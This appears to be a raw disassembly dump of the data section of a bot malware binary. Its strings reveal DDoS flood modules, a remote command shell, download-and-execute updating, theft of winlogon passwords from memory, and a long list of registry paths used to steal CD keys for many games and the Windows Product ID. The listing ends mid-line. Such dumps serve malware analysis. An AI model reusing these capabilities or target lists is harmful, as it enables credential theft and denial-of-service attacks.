sub_413081+5Bo db 3, 34h, 2 db 64h ; d db 64h, 6Fh, 73h db 2 db 3, 2Dh, 20h aDoneWithFloodA db 'done with flood at %iKB/sec',0 dword_4387BC dd 234032Dh, 736F6464h, 202D0302h, 646E6573h, 72726520h ; DATA XREF: sub_413133+31Ao dd 203A726Fh, 6425h unk_4387D8 db 2Dh ; - ; DATA XREF: sub_4134C5+390o db 3, 34h, 2 db 69h ; i db 63h, 6Dh, 70h db 2 db 3, 2Dh, 20h aErrorSendingPa db 'error sending packets to %s. %d packets sent, returned %d',0 align 10h unk_438820 db 2Dh ; - ; DATA XREF: sub_4134C5+326o db 3, 34h, 2 db 69h ; i db 63h, 6Dh, 70h db 2 db 3, 2Dh, 20h aDoneWithSFlood db 'done with %s flood to %s. sent %d packets @ %dKB/sec (%dMB).',0 align 4 unk_43886C db 2Dh ; - ; DATA XREF: sub_4134C5+12Ao db 3, 34h, 2 db 69h ; i db 63h, 6Dh, 70h db 2 db 3, 2Dh, 20h aInvalidTargetI db 'invalid target ip',0 align 4 unk_43888C db 2Dh ; - ; DATA XREF: sub_4134C5+C2o db 3, 34h, 2 db 69h ; i db 63h, 6Dh, 70h db 2 db 3, 2Dh, 20h aSetsockoptFail db 'setsockopt() failed, returned %d',0 align 4 unk_4388BC db 2Dh ; - ; DATA XREF: sub_4134C5+49o db 3, 34h, 2 db 69h ; i db 63h, 6Dh, 70h db 2 db 3, 2Dh, 20h aSocketFailed_0 db 'socket() failed, returned %d',0 align 4 unk_4388E8 db 2Dh ; - ; DATA XREF: sub_4138B0+13Co db 3, 34h, 2 db 70h ; p db 69h, 6Eh, 67h db 2 db 3, 2Dh, 20h aFinishedSendin db 'finished sending pings to %s',0 align 4 unk_438914 db 2Dh ; - ; DATA XREF: sub_4138B0+6Eo db 3, 34h, 2 db 70h ; p db 69h, 6Eh, 67h db 2 db 3, 2Dh, 20h aErrorSendingPi db 'error sending pings to %s',0 align 4 unk_43893C db 2Dh ; - ; DATA XREF: sub_413A3C+1C7o db 3, 34h, 2 db 75h ; u db 64h, 70h, 2 db 3 aFinishedSend_0 db '- finished sending packets to %s',0 align 4 unk_438968 db 2Dh ; - ; DATA XREF: sub_413A3C+8Eo db 3, 34h, 2 db 75h ; u db 64h, 70h, 2 db 3 aErrorSending_0 db '- error sending packets to %s',0 align 10h dword_438990 dd 234032Dh, 73796B73h, 3026E79haDoneWithFloodI db '- Done with flood (%iKB/sec)',0 align 4 unk_4389BC db 2Dh ; - ; DATA XREF: sub_413DEC+48o db 3, 34h, 2 db 73h ; s db 79h, 6Eh, 2 db 3 aDoneWithFloo_0 db '- Done with flood (%iKB/sec).',0 align 4 unk_4389E4 db 2Dh ; - ; DATA XREF: sub_413E88+295o db 3, 34h, 2 db 73h ; s db 79h, 6Eh, 2 db 3 aSendErrorD_ db '- Send error: <%d>.',0 align 4 dword_438A04 dd 234032Dh, 67726174h, 3023361haDoneWithFlood_ db '- Done with flood.',0 align 8 unk_438A28 db 2Dh ; - ; DATA XREF: sub_41444D+4E4o db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aErrorSending_1 db '- Error sending packets to IP: %s. Packets sent: %d. Returned: <%' db 'd>.',0 align 4 unk_438A78 db 2Dh ; - ; DATA XREF: sub_41444D+471o db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aDoneWithSFlo_0 db '- Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/sec (%d' db 'MB).',0 align 4 unk_438AC8 db 2Dh ; - ; DATA XREF: sub_41444D+15Fo db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aInvalidTarge_0 db '- Invalid target IP.',0 align 4 unk_438AE8 db 2Dh ; - ; DATA XREF: sub_41444D+EEo db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aErrorSetsockop db '- Error: setsockopt() failed, returned: <%d>.',0 align 10h unk_438B20 db 2Dh ; - ; DATA XREF: sub_41444D+70o db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aErrorSocketFai db '- Error: socket() failed, returned: <%d>.',0 align 4 unk_438B54 db 2Dh ; - ; DATA XREF: sub_4149E9+60o db 3, 34h, 2 db 74h ; t db 73h, 75h, 6Eh db 61h ; a db 6Dh, 69h, 2 db 3 aDoneWithFloodD db '- Done with flood, %d packets sent.',0 align 4 unk_438B88 db 2Dh ; - ; DATA XREF: sub_414CD8+47o db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 75h db 64h ; d db 70h, 29h, 2 db 3 aStartingWisdom db '- Starting Wisdom spoofed UDP flood thread.',0 align 4 unk_438BC8 db 2Dh ; - ; DATA XREF: sub_414D4E+348o db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 75h db 64h ; d db 70h, 29h, 2 db 3 aErrorSending_2 db '- Error sending packets to %s. eax=SOCKET_ERROR, WSAGetLastError(' db ')=%d. sizeof(buffer) = %d. Packets sent sucessfully = %d.',0 align 8 unk_438C58 db 2Dh ; - ; DATA XREF: sub_414D4E+2F6o db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 75h db 64h ; d db 70h, 29h, 2 db 3 aFinishedSend_1 db '- Finished sending packets to %s. Sent %d packet(s). ~%dMB of dat' db 'a sent (~%dK/s).',0 align 4 unk_438CBC db 2Dh ; - ; DATA XREF: sub_414D4E+CCo db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 75h db 64h ; d db 70h, 29h, 2 db 3 aSendingPackets db '- Sending packets to %s...',0 unk_438CE8 db 2Dh ; - ; DATA XREF: sub_414D4E+80o db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 75h db 64h ; d db 70h, 29h, 2 db 3 aInvalidTarge_1 db '- Invalid target IP. WSAGetLastError() returns %d.',0 align 10h unk_438D30 db 2Dh ; - ; DATA XREF: sub_414D4E+63o db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 75h db 64h ; d db 70h, 29h, 2 db 3 aErrorCallingSe db '- Error calling setsockopt(). WSAGetLastError() returns %d.',0 align 10h unk_438D80 db 2Dh ; - ; DATA XREF: sub_414D4E+2Ao db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 75h db 64h ; d db 70h, 29h, 2 db 3 aErrorCallingSo db '- Error calling socket().',0 align 4 unk_438DAC db 2Dh ; - ; DATA XREF: sub_4150A6+5Do db 3, 34h, 2 db 77h ; w db 6Fh, 6Eh, 6Bh db 2 db 3, 2Dh, 20h aDoneWithFloodP db 'Done with flood, ports hit: %s',0 align 4 aSD db '%s%d ',0 ; DATA XREF: sub_415240+1F1o align 10h dword_438DE0 dd 202E6425h, 73253403h, 203D2003h, 73253703h, 3dword_438DF4 dd 234032Dh, 61696C61h, 696C2073h, 3027473h, 2Dha_2d_2d4d_2d_2d db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_4157A5+60o align 4 dword_438E2C dd 234032Dh, 3676F6Ch, 43202D02h, 7261656Ch, 2E6465h ; DATA XREF: sub_415845:loc_41587Ao dword_438E40 dd 234032Dh, 2676F6Ch, 63202D03h, 7261656Ch, 6465h ; DATA XREF: sub_415845+20o dword_438E54 dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 706D6F63h ; DATA XREF: sub_415886+DCo dd 6574656Ch, 0 dword_438E70 dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 72617473h ; DATA XREF: sub_415886+3Fo dd 676E6974h, 0 aDisplay db 'DISPLAY',0 ; DATA XREF: sub_4159B5+11o aWindow db 'Window',0 ; DATA XREF: sub_415BF0+23o ; sub_415DE9+26o align 10h dd 80000001h off_438EA4 dd offset aSoftwareValveC ; DATA XREF: sub_416028+Cr ; sub_416028+21o ; "Software\\Valve\\CounterStrike\\Settings" dd offset aCdkey ; "CDKey" dd offset aCounterStrikeR ; "Counter-Strike (Retail)" dword_438EB0 dd 2 dup(0) dd 80000001h, 43A048h, 43A03Ch, 43A02Ch, 2 dup(0) dd 80000001h, 43A00Ch, 43A008h, 439FF4h, 2 dup(0) dd 80000001h, 439FD0h, 43A008h, 439FC4h, 2 dup(0) dd 80000001h, 439FA0h, 439F98h, 439F84h, 2 dup(0) dd 80000001h, 439F70h, 439F60h, 439F44h, 2 dup(0) dd 80000001h, 439F00h, 43A088h, 439EECh, 2 dup(0) dd 80000002h, 439EC0h, 439EB4h, 439E94h, 2 dup(0) dd 80000002h, 439E60h, 43A088h, 439E48h, 2 dup(0) dd 80000002h, 439E14h, 43A088h, 439DFCh, 2 dup(0) dd 80000002h, 439DE4h, 43A088h, 439DCCh, 2 dup(0) dd 80000002h, 439D90h, 43FE14h, 439D80h, 2 dup(0) dd 80000002h, 439D48h, 43FE14h, 439D34h, 2 dup(0) dd 80000002h, 439CE8h, 43FE14h, 439CC8h, 2 dup(0) dd 80000002h, 439C78h, 43FE14h, 439C48h, 2 dup(0) dd 80000002h, 439C0Ch, 43FE14h, 439BF8h, 2 dup(0) dd 80000002h, 439BC0h, 43FE14h, 439BB0h, 2 dup(0) dd 80000002h, 439B60h, 43FE14h, 439B30h, 2 dup(0) dd 80000002h, 439AF0h, 43FE14h, 439AD0h, 2 dup(0) dd 80000002h, 439AA0h, 43FE14h, 439A80h, 2 dup(0) dd 80000002h, 439A44h, 43FE14h, 439A30h, 2 dup(0) dd 80000002h, 4399E8h, 43FE14h, 4399C4h, 2 dup(0) dd 80000002h, 439970h, 43FE14h, 439940h, 2 dup(0) dd 80000002h, 4398F0h, 43FE14h, 4398C4h, 2 dup(0) dd 80000002h, 439884h, 43987Ch, 43985Ch, 2 dup(0) dd 80000002h, 439818h, 43FE14h, 4397FCh, 2 dup(0) dd 80000002h, 4397B0h, 43FE14h, 439788h, 2 dup(0) dd 80000002h, 439754h, 43FE14h, 439748h, 2 dup(0) dd 80000002h, 439714h, 43FE14h, 439708h, 2 dup(0) dd 80000002h, 4396D4h, 43FE14h, 4396C8h, 2 dup(0) dd 80000002h, 439694h, 43FE14h, 439688h, 2 dup(0) dd 80000002h, 43964Ch, 43FE14h, 439638h, 2 dup(0) dd 80000002h, 4395FCh, 43FE14h, 4395E8h, 2 dup(0) dd 80000002h, 4395B8h, 43A088h, 43959Ch, 2 dup(0) dd 80000002h, 43957Ch, 439574h, 439550h, 2 dup(0) dd 80000002h, 439534h, 439574h, 439514h, 2 dup(0) dd 80000002h, 4394F4h, 439574h, 4394D0h, 2 dup(0) dd 80000002h, 4394B8h, 439574h, 4394B4h, 2 dup(0) dd 80000002h, 439498h, 439488h, 439480h, 2 dup(0) dd 80000002h, 43944Ch, 42D8D4h, 439434h, 2 dup(0) dd 80000002h, 4393F8h, 4393ECh, 4393C4h, 4393B4h, 4393A0h dd 80000002h, 43937Ch, 439370h, 43935Ch, 43934Ch, 439344h dd 80000002h, 43937Ch, 439370h, 439318h, 43934Ch, 439310h dd 80000002h, 43937Ch, 439370h, 4392E0h, 43934Ch, 4392D8h dd 6 dup(0) dd 3379654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh dd 28207374h, 64726F48h, 6F207365h, 68742066h, 6E552065h dd 64726564h, 296B7261h, 0 dd 3279654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh dd 28207374h, 64616853h, 2073776Fh, 5520666Fh, 6572646Eh dd 6469746Eh, 2965h, 3179654Bh, 3Dh, 636E776Eh, 79656B64h dd 696E692Eh, 0 aNeverwinterNig db 'Neverwinter Nights',0 align 10h aLocation db 'Location',0 align 4 aSoftwareBiowar db 'Software\BioWare\NWN\Neverwinter',0 align 10h aMtkwftmkemfew3 db 'mtkwftmkemfew3p3b7',0 align 4 aBaseMpSof2key db 'base\mp\sof2key',0 aSoldierOfFortu db 'Soldier of Fortune II - Double Helix',0 align 4 aInstallpath db 'InstallPath',0 db 53h aOftwareActivis db 'oftware\Activision\Soldier of Fortune II - Double Helix',0 align 4 aHiddenDangerou db 'Hidden & Dangerous 2',0 align 4 db 53h aOftwareIllusio db 'oftware\Illusion Softworks\Hidden & Dangerous 2',0 align 10h aChrome db 'Chrome',0 align 4 aSerialnumber db 'SerialNumber',0 align 4 db 53h aOftwareTechlan db 'oftware\Techland\Chrome',0 align 4 aNox db 'NOX',0 aSoftwareWestwo db 'Software\Westwood\NOX',0 align 10h aCommandAndConq db 'Command and Conquer: Red Alert 2',0 align 4 db 53h aOftwareWestwoo db 'oftware\Westwood\Red Alert 2',0 align 4 aCommandAndCo_0 db 'Command and Conquer: Red Alert',0 align 4 db 53h aOftwareWestw_0 db 'oftware\Westwood\Red Alert',0 aCommandAndCo_1 db 'Command and Conquer: Tiberian Sun',0 align 4 aSerial db 'Serial',0 align 4 db 53h aOftwareWestw_1 db 'oftware\Westwood\Tiberian Sun',0 align 4 aRainbowSixIiiR db 'Rainbow Six III RavenShield',0 db 53h aOftwareRedStor db 'oftware\Red Storm Entertainment\RAVENSHIELD',0 align 4 aNascarRacing20 db 'Nascar Racing 2003',0 align 4 db 53h aOftwareElectro db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0 align 4 aNascarRacing_0 db 'Nascar Racing 2002',0 align 4 db 53h aOftwareElect_0 db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0 align 4 aNhl2003 db 'NHL 2003',0 align 4 db 53h aOftwareElect_1 db 'oftware\Electronic Arts\EA Sports\NHL 2003\ergc',0 align 4 aNhl2002 db 'NHL 2002',0 align 4 db 53h aOftwareElect_2 db 'oftware\Electronic Arts\EA Sports\NHL 2002\ergc',0 align 4 aFifa2003 db 'FIFA 2003',0 align 4 db 53h aOftwareElect_3 db 'oftware\Electronic Arts\EA Sports\FIFA 2003\ergc',0 align 4 aFifa2002 db 'FIFA 2002',0 align 4 db 53h aOftwareElect_4 db 'oftware\Electronic Arts\EA Sports\FIFA 2002\ergc',0 align 4 aShogunTotalWar db 'Shogun: Total War: Warlord Edition',0 align 10h db 53h aOftwareElect_5 db 'oftware\Electronic Arts\EA GAMES\Shogun Total War - Warlord Editi' db 'on\ergc',0 align 4 aNeedForSpeedUn db 'Need For Speed: Underground',0 db 53h aOftwareElect_6 db 'oftware\Electronic Arts\EA GAMES\Need For Speed Underground\ergc',0 align 4 aNeedForSpeedHo db 'Need For Speed Hot Pursuit 2',0 align 4 aErgc db 'ergc',0 align 4 db 53h aOftwareElect_7 db 'oftware\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2',0 align 4 aMedalOfHonorAl db 'Medal of Honor: Allied Assault: Spearhead',0 align 10h db 53h aOftwareElect_8 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Sp' db 'earhead\ergc',0 align 10h aMedalOfHonor_0 db 'Medal of Honor: Allied Assault: Breakthrough',0 align 10h db 53h aOftwareElect_9 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Br' db 'eakthrough\ergc',0 align 4 aMedalOfHonor_1 db 'Medal of Honor: Allied Assault',0 align 8 db 53h aOftwareElec_10 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\er' db 'gc',0 align 10h aGlobalOperatio db 'Global Operations',0 align 4 db 53h aOftwareElec_11 db 'oftware\Electronic Arts\EA GAMES\Global Operations\ergc',0 align 10h aCommandAndCo_2 db 'Command and Conquer: Generals',0 align 10h db 53h aOftwareElec_12 db 'oftware\Electronic Arts\EA GAMES\Generals\ergc',0 aJamesBond007Ni db 'James Bond 007: Nightfire',0 align 10h db 53h aOftwareElec_13 db 'oftware\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0 aCommandAndCo_3 db 'Command and Conquer: Generals (Zero Hour)',0 align 10h db 53h aOftwareElec_14 db 'oftware\Electronic Arts\EA GAMES\Command and Conquer Generals Zer' db 'o Hour\ergc',0 align 10h aBlackAndWhite db 'Black and White',0 db 53h aOftwareElec_15 db 'oftware\Electronic Arts\EA GAMES\Black and White\ergc',0 align 4 aBattlefieldVie db 'Battlefield Vietnam',0 db 53h aOftwareElec_16 db 'oftware\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0 align 4 aBattlefield194 db 'Battlefield 1942 (Secret Weapons of WWII)',0 align 8 db 53h aOftwareElec_17 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons ' db 'of WWII\ergc',0 align 4 aBattlefield1_0 db 'Battlefield 1942 (Road To Rome)',0 db 53h aOftwareElec_18 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Rom' db 'e\ergc',0 align 4 aBattlefield1_1 db 'Battlefield 1942',0 align 4 db 53h aOftwareElec_19 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0 aFreedomForce db 'Freedom Force',0 align 10h db 53h aOftwareElec_20 db 'oftware\Electronic Arts\EA Distribution\Freedom Force\ergc',0 aIgi2CovertStri db 'IGI 2: Covert Strike',0 align 4 db 53h aOftwareIgi2Ret db 'oftware\IGI 2 Retail',0 align 4 aUnrealTourname db 'Unreal Tournament 2004',0 align 4 db 53h aOftwareUnrealT db 'oftware\Unreal Technology\Installed Apps\UT2004',0 align 4 aUnrealTourna_0 db 'Unreal Tournament 2003',0 align 10h db 53h aOftwareUnrea_0 db 'oftware\Unreal Technology\Installed Apps\UT2003',0 align 4 aMicrosoftWindo db 'Microsoft Windows Product ID',0 align 4 aProductid db 'ProductId',0 align 10h db 53h aOftwareMicroso db 'oftware\Microsoft\Windows\CurrentVersion',0 align 4 aSoldiersOfAnar db 'Soldiers Of Anarchy',0 aSoftwareSilver db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0 align 4 aLegendsOfMight db 'Legends of Might and Magic',0 align 10h aCustomernumber db 'CustomerNumber',0 align 10h aSoftware3d0Sta db 'Software\3d0\Status',0 aIndustryGiant2 db 'Industry Giant 2',0 align 4 aPrvkey db 'prvkey',0 align 10h aSoftwareJowood db 'Software\JoWooD\InstalledGames\IG2',0 align 4 aHalfLife db 'Half-Life',0 align 10h aSoftwareValveH db 'Software\Valve\Half-Life\Settings',0 align 4 aGunmanChronicl db 'Gunman Chronicles',0 align 4 aKey_0 db 'Key',0 aSoftwareValveG db 'Software\Valve\Gunman\Settings',0 align 4 aTheGladiators db 'The Gladiators',0 align 4 aRegnumber db 'RegNumber',0 align 4 aSoftwareEugenS db 'Software\Eugen Systems\The Gladiators',0 align 10h aCounterStrikeR db 'Counter-Strike (Retail)',0 ; DATA XREF: .packed:00438EACo aCdkey db 'CDKey',0 ; DATA XREF: .packed:00438EA8o align 10h aSoftwareValveC db 'Software\Valve\CounterStrike\Settings',0 ; DATA XREF: .packed:off_438EA4o align 4 asc_43A0B8: ; DATA XREF: sub_416028+E7o ; sub_416028+F2o unicode 0, <=>,0 dword_43A0BC dd 234032Dh, 656B6463h, 3027379h, 7325202Dh, 7325203Ah ; DATA XREF: sub_416028+2Bo dd 0 unk_43A0D4 db 2Dh ; - ; DATA XREF: sub_4161D7+170o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToSendTo db '- failed to send to Remote command shell',0 align 4 unk_43A108 db 2Dh ; - ; DATA XREF: sub_4161D7+ABo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToOpenRe db '- failed to open remote command shell',0 align 4 unk_43A138 db 2Dh ; - ; DATA XREF: sub_4161D7+47o ; sub_416398+FDo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToOpenSo db '- failed to open socket',0 align 4 dword_43A15C dd 234032Dh, 2636364h, 73202D03h, 656B636Fh, 72652074h ; DATA XREF: sub_416398+362o ; sub_41673A+156o dd 726F72h unk_43A174 db 2Dh ; - ; DATA XREF: sub_416398+2FAo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFileSSentToSSB db '- file %s sent to %s (%s bytes).',0 align 10h unk_43A1A0 db 2Dh ; - ; DATA XREF: sub_416398+202o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aUnableToOpenSo db '- unable to open socket',0 align 4 dword_43A1C4 dd 234032Dh, 2636364h, 73202D03h, 20646E65h, 656D6974h ; DATA XREF: sub_416398+1CBo dd 74756Fh dword_43A1DC dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h ; DATA XREF: sub_416398+16Ao dd 169h unk_43A1F4 db 2Dh ; - ; DATA XREF: sub_416398+127o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFileDoesnTExis db '- file doesn',27h,'t exist',0 align 4 unk_43A214 db 2Dh ; - ; DATA XREF: sub_416398+82o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToBindTo db '- failed to bind to socket',0 unk_43A238 db 2Dh ; - ; DATA XREF: sub_416398+44o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToCrea_2 db '- failed to create socket',0 align 4 unk_43A25C db 2Dh ; - ; DATA XREF: sub_41673A+1CFo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aReceivedSFromS db '- received %s from %s (%s bytes).',0 align 4 unk_43A288 db 2Dh ; - ; DATA XREF: sub_41673A+CBo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aErrorOpeningSo db '- error opening socket',0 unk_43A2A8 db 2Dh ; - ; DATA XREF: sub_41673A+ABo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aErrorOpeningFi db '- error opening file for writing',0 align 4 aAB db 'a+b',0 ; DATA XREF: sub_41673A+97o unk_43A2D8 db 2Dh ; - ; DATA XREF: sub_41673A+83o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aErrorUnableToW db '- error unable to write file to disk',0 align 4 unk_43A308 db 2Dh ; - ; DATA XREF: sub_416975+480o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aBadUrlOrDnsErr db 'bad url or dns error at %s.',0 unk_43A334 db 2Dh ; - ; DATA XREF: sub_416975+472o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aUpdateFailedEr db 'update failed, error executing %s',0 align 4 unk_43A368 db 2Dh ; - ; DATA XREF: sub_416975+3B6o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aDownloaded_1fk db 'downloaded %.1fKB to %s @ %.1fKB/sec, updating bot',0 align 4 dword_43A3AC dd 234032Dh, 6E776F64h, 64616F6Ch, 202D0302h, 6E65706Fh ; DATA XREF: sub_416975+34Do dd 25206465h, 73h unk_43A3C8 db 2Dh ; - ; DATA XREF: sub_416975+2D6o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aDownloaded_1fK db 'downloaded %.1f KB to %s @ %.1f KB/sec',0 align 10h unk_43A400 db 2Dh ; - ; DATA XREF: sub_416975+257o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aWrongCrcDD_ db 'wrong crc (%d != %d).',0 align 4 unk_43A428 db 2Dh ; - ; DATA XREF: sub_416975+1CDo db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aWrongFilesizeD db 'wrong filesize (%d != %d).',0 align 4 unk_43A454 db 2Dh ; - ; DATA XREF: sub_416975:loc_416B0Do db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aGotUpdateSDkb_ db 'got update %s (%dKB).',0 align 4 unk_43A47C db 2Dh ; - ; DATA XREF: sub_416975+191o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aDownloadedSDkb db 'downloaded %s (%dKB)',0 align 4 unk_43A4A4 db 2Dh ; - ; DATA XREF: sub_416975+77o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aCouldnTOpenF_0 db 'couldn',27h,'t open file: %s',0 align 4 aUnknown db 'Unknown',0 ; DATA XREF: sub_416F09:loc_416F4Co ; sub_4196D6+104o aInvalid db 'Invalid',0 ; DATA XREF: sub_416F09:loc_416F46o aDisk db 'Disk',0 ; DATA XREF: sub_416F09:loc_416F40o align 4 aNetwork db 'Network',0 ; DATA XREF: sub_416F09:loc_416F3Ao aCdrom db 'Cdrom',0 ; DATA XREF: sub_416F09:loc_416F34o align 4 off_43A4F4 dd offset word_4D4152 ; DATA XREF: sub_416F09:loc_416F2Eo word_43A4F8 dw 3Fh ; DATA XREF: sub_416F09+1Fo ; sub_41B1FC:loc_41B2FEr align 4 aFailed db 'failed',0 ; DATA XREF: sub_416F9A:loc_417072o ; sub_4170B5+3Bo align 4 aSkb db '%sKB',0 ; DATA XREF: sub_416F9A+6Bo align 4 unk_43A50C db 2Dh ; - ; DATA XREF: sub_4170B5+8Eo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aSDriveSSTotalS db '%s drive (%s): %s total, %s free, %s available',0 align 4 unk_43A548 db 2Dh ; - ; DATA XREF: sub_4170B5+58o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aSDriveSFailedT db '%s drive (%s): failed to stat, device not ready',0 aA_3 db 'A:\',0 ; DATA XREF: sub_417187:loc_4171CCo dword_43A588 dd 234032Dh, 646E6966h, 656C6966h, 202D0302h, 6E756F66h ; DATA XREF: sub_41720A+C5o dd 64252064h, 6C696620h, 7365h unk_43A5A8 db 2Dh ; - ; DATA XREF: sub_41720A+5Co db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h aSearchingFor_0 db 'searching for file %s',0 align 10h dword_43A5D0 dd 234032Dh, 646E6966h, 656C6966h, 202D0302h, 6E756F66h ; DATA XREF: sub_417322+107o dd 73252064h, 73255Ch dword_43A5EC dd 2A5C7325h, 0 unk_43A5F4 db 2Dh ; - ; DATA XREF: sub_417474:loc_4175EDo db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aFailedToEnable db 'failed to enable debug privilege',0 align 4 unk_43A628 db 2Dh ; - ; DATA XREF: sub_417474:loc_4175C0o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aUnableToFindWi db 'unable to find winlogon pid',0 unk_43A654 db 2Dh ; - ; DATA XREF: sub_417474:loc_4175B9o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aUnableToFindTh db 'unable to find the password in memory',0 align 10h unk_43A690 db 2Dh ; - ; DATA XREF: sub_417474+117o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h db 57h ; W db 69h, 6Eh, 4Ch db 6Fh ; o db 67h, 6Fh, 6Eh db 20h db 49h, 6Eh, 66h db 6Fh ; o db 72h, 6Dh, 61h db 74h ; t db 69h, 6Fh, 6Eh db 20h db 28h, 50h, 49h db 44h ; D db 20h, 25h, 64h db 29h ; ) db 20h, 2Dh, 20h db 2 db 44h, 6Fh, 6Dh db 61h ; a db 69h, 6Eh, 2 db 3Ah ; : db 20h, 2 dup(5Ch) db 25h ; % db 53h, 2Ch, 20h db 2 db 55h, 73h, 65h db 72h ; r db 2, 3Ah, 20h aSNoPassword_ db '(%S/(no password)).',0 aUserdomain: ; DATA XREF: sub_417474+DCo unicode 0, <USERDOMAIN>,0 align 4 aUsername: ; DATA XREF: sub_417474+CEo unicode 0, <USERNAME>,0 align 4 aRtlrundecodeun db 'RtlRunDecodeUnicodeString',0 ; DATA XREF: sub_417474+9Ao align 4 aRtldestroyquer db 'RtlDestroyQueryDebugBuffer',0 ; DATA XREF: sub_417474+8Do align 10h aRtlqueryproces db 'RtlQueryProcessDebugInformation',0 ; DATA XREF: sub_417474+80o aRtlcreatequery db 'RtlCreateQueryDebugBuffer',0 ; DATA XREF: sub_417474+73o align 4 aNtquerysystemi db 'NtQuerySystemInformation',0 ; DATA XREF: sub_417474+68o align 4 aNtdll_dll db 'NTDLL.DLL',0 ; DATA XREF: sub_417474+55o align 4 aSedebugprivile db 'SeDebugPrivilege',0 ; DATA XREF: sub_417474+40o ; sub_417474+161o ... align 4 unk_43A7C8 db 2Dh ; - ; DATA XREF: sub_417474+35o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aOnlySupportedO db 'only supported on winnt/win2k',0 align 4 aMsgina db 'MSGINA',0 ; DATA XREF: sub_417646+13Eo align 10h aNwgina db 'NWGINA',0 ; DATA XREF: sub_417646+123o align 4 aWinlogon db 'WINLOGON',0 ; DATA XREF: sub_417646+AFo align 8 dword_43A818 dd 